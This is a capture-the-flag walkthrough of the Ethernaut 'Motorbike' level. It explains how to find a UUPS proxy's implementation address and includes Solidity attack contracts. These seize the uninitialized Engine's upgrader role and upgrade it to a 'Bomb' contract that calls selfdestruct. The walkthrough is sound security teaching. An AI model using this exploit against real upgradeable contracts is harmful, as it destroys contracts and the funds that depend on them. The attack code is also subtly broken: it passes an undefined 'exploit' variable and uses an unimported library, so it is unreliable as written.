Ethernaut 25 MotorbikeWalkthrough
This contract tests your understanding of proxy patterns (specifically UUPS), EVM storage, and
delegatecall
. (Link to challenge)
I found this challenge to be an easier version of Ethernaut Level 24: Puzzle Wallet (see walkthrough); for starters, this challenge tells you exactly what you need to read before getting started:
UUPS upgradeable pattern
Initializable contract
The UUPS proxy pattern provides a lightweight “storage layer” and redirects all requests to a “logic layer” via delegatecall
. To quote OpenZepplin:
The advantage of following an UUPS pattern is to have very minimal proxy to be deployed. The proxy acts as storage layer so any state modification in the implementation contract normally doesn’t produce side effects to systems using it, since only the logic is used through delegatecalls.
We are given access to the Motorbike
contract, and our task is to make its Engine
explode. Sound like fun?
Hint — Recall Ethernaut Level 7: Force; how does
selfdestruct
work? How do you ascertain the Logic Contract’s address within the UUPS pattern?
Detailed Walkthrough
Step 1 — obtain the Engine contract address
The UUPS standardizes the location of the Logic Contract. Per the EIP-1967
whitepaper:
Logic contract address [is located in slot]
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
(obtained asbytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)
).
Let’s obtain that value ourselves using web3.eth.getStorageAt
await web3.eth.getStorageAt(instance, '0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc')
Since ETH addresses are 42 characters (including the 0x) grab the last 40 and ensure it’s properly formatted
web3.utils.toChecksumAddress(${your-string}) // prints 0x${YOUR-STRING}
Hooray! Now we know the address of the Engine
. Let’s head on over to Remix and blow it up.
Step 2 — Setup a malicious implementation contract
We’ll setup 2 contracts — 1 to interact with theEngine
— the other to blow it up. We’ll need to
- Gain control of
Engine
by assuming theupgrader
role - Upgrade the implementation contract with an
intitialize
function which callsselfdestruct
// SPDX-License-Identifier: MIT
pragma solidity 0.7.0;import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.4/contracts/proxy/Initializable.sol';// original Engine address
contract Engine is Initializable {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;address public upgrader;
uint256 public horsePower;struct AddressSlot {
address value;
}function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(
address newImplementation,
bytes memory data
) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success,) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}
// Stores a new address in the EIP1967 implementation slot.
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
AddressSlot storage r;
assembly {
r.slot := _IMPLEMENTATION_SLOT
}
r.value = newImplementation;
}
}contract HackEngine {
Engine public originalContract = Engine(YOUR_ENGINE_ADDRESS);
event logEvent(bool, bytes);
function attackEngine() external {
(bool success, bytes memory data) = address(originalContract).call(abi.encodeWithSignature('initialize()'));
emit logEvent(success, data);
}
function destroyWithBomb() external {
// pass in a bomb which blows up when initialize is called
Bomb bomb = new Bomb();
(bool success, bytes memory data) = address(originalContract).call(abi.encodeWithSignature('upgradeToAndCall(address,bytes)',address(exploit), abi.encodeWithSignature("initialize()")));
emit logEvent(success, data);
}}contract Bomb {function initialize() external {
selfdestruct(msg.sender);
}
}
Go ahead and deploy it and execute attackEngine
and destroyWithBomb
and check the event logs to ensure it was successful. If so, you should be able to visit YOUR_ENGINE_ADDRESS
in etherscan and see a selfdestruct
event
Key Takeaways
- Proxy patterns allow for upgradability of the “Logic / Implementation” layer by relying on
delegatecall
- Anytime we use
delegatecall
we need to be very careful with how and when it’s accessed, as it allows anyone to call any contract’s code within the context of our own